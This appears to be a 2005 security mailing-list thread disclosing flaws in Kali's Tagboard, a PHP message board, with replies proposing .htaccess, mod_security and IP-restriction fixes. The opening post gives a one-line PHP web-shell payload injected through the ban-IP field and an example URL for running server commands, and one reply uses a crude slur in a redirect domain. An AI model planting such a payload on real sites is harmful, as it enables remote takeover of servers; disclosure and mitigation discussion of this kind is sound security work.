Vulnerability kali's tagboard

[piker piker]

There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
But the most vulnerabilitie is in the ban ip's, you can put this script:
" <? system($cmd) ?> " and execute commands in the server with this url:
Example: http://web.com/tag/admin/banned.php?&cmd=command.


Am0s Team

[Jason Dodson]

I think the idea is that the admin script be behind .htaccess
restrictions, NOT maintained by the software itself.

Jason

piker piker wrote:
>
> There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script:
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
>
>
> Am0s Team
>
>

[security curmudgeon]

For reference, Kali's tagboard can be found at:
http://www.xentrik.net/php/tagboard.php

: There are some bugs in the kali's tagboard, you can access to the admin
: system without password!, you can put iframes, scripts... But the most
: vulnerabilitie is in the ban ip's, you can put this script: " <?
: system($cmd) ?> " and execute commands in the server with this url:
: Example: http://web.com/tag/admin/banned.php?&cmd=command.

From the readme.txt:

I suggest you password protect this directory with .htaccess, like so:

******************************************
* Example .htaccess File
******************************************
AuthUserFile /home/username/public_html/tagboard/admin/.htpasswd
AuthGroupFile /dev/null
AuthName "Tagboard Admin Area"
AuthType Basic

<Limit GET POST>
require valid-user
</Limit>
******************************************
To learn more about password protection with .htaccess, go to
http://www.xentrik.net/htaccess/password.php

[Jesus]

On Thu, 28 Apr 2005, security curmudgeon wrote:

> ******************************************
> * Example .htaccess File
> ******************************************
> AuthUserFile /home/username/public_html/tagboard/admin/.htpasswd
> AuthGroupFile /dev/null
> AuthName "Tagboard Admin Area"
> AuthType Basic
>
> <Limit GET POST>
> require valid-user
> </Limit>


Mod security alleviates most of this

SecFilterSelective THE_REQUEST "\&cmd" "redirect:http://www.gaytardedhax0rs.net"

As do normal apache settings

<Location /admin/>
#
Order deny,allow
Allow from YOUR_ADDRESS_GOES_HERE
Deny from all
ErrorDocument 403 http://www.gaytardedhax0rs.net
</Location>

Problem with an htaccess file is creating the users, then making sure no
kiddiot is using some password dumping script or program. IP based would
work better since I can't think of some silly scriptkiddiot injecting info
on the network level to pwn some site using any one of these injection
based tools.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
"The most tyrannical of governments are those which make
crimes of opinions, for everyone has an inalienable
right to his thoughts." -- Benedict Spinoza


//sil

http://www.kungfunix.net http://www.politrix.org
http://www.infiltrated.net http://bush.shafted.us